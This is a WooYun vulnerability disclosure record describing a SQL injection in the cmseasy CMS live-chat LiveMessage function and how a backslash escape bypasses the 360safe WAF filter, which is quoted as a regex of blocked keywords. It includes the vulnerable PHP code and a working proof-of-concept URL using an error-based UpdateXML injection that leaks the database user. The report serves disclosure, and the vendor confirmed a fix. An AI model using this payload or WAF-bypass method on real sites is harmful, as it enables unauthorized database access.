当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080260

漏洞标题:cmseasy 最新版SQLl注入(第八次绕WAF)

相关厂商:cmseasy

漏洞作者: 路人甲

提交时间:2014-10-22 11:44

修复时间:2015-01-20 11:46

公开时间:2015-01-20 11:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-22: 细节已通知厂商并且等待厂商处理中
2014-10-24: 厂商已经确认,细节仅向厂商公开
2014-10-27: 细节向第三方安全合作伙伴开放
2014-12-18: 细节向核心白帽子及相关领域专家公开
2014-12-28: 细节向普通白帽子公开
2015-01-07: 细节向实习白帽子公开
2015-01-20: 细节向公众公开

简要描述:

继续绕啊绕啊

详细说明:

cmseasy 终于更新了 看了下对比文件,那修复~~~无法吐槽~~~~

function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = addslashes(htmlspecialchars($a['name']));
$email = addslashes(htmlspecialchars($a['email']));
$country = htmlspecialchars($a['country']);
$phone = htmlspecialchars($a['phone']);
$departmentid = htmlspecialchars($a['departmentid']);
$message = htmlspecialchars($a['message']);
$timestamp = time();
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO `chat` (`sessionid`,`name`,`email`,`phone`,`departmentid`,`message`,`timestamp`,`ip`,`status`) VALUES('" . $sessionid . "','" . $name . "','" . $email . "','" . $phone . "','" . $departmentid . "','" . $message . "','" . $timestamp . "','" . $ip . "','2')";
$db->query($sql);
$sql = "DELETE FROM `sessions` WHERE `id`='" . $sessionid . "'";
$db->query($sql);
$text = "<?php echo $lang[shout_success]?>\n";
$objResponse = new xajaxResponse('utf-8');
$objResponse->addAssign('content', 'innerHTML', $text);
$objResponse->redirect('../', 5);
return $objResponse;
}


$a是可以通过前端get或者post传入。
只修复了name和email,不修复下面几个变量 这是给我们留着漏洞挖么!!!!!!!
然后开始测试,擦 发现360safe被更新了,修复增加了检测单引号! 这不坑爹么,只要输入单引号全盘否定!

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?|`.*?`)|UPDATE(\\(.+\\)|\\s+?.+?|`.*?`.*?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|`.*?`.*?)FROM(\\(.+\\)|\\s+?.+?|`.*?`.*?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|\\/\\*.*?\\*\\/|'";


但是还可以用转义符,接下来就是开始绕啊绕啊:
POC:
http://192.168.152.160:8080/cmseasy/celive/live/header.php?xajax=LiveMessage&xajaxargs[0][phone]=\&xajaxargs[0][departmentid]=,(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1)),6,7,8)%23
另外官网没测试成功,好像有安全狗

BaiduHi_2014-10-21_16-4-7.png


漏洞证明:

BaiduHi_2014-10-21_16-4-7.png

修复方案:

全盘否定单引号 这也太坑了!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-10-24 11:03

厂商回复:

修正

最新状态:

2014-10-24:感谢提醒~~一时大意了~~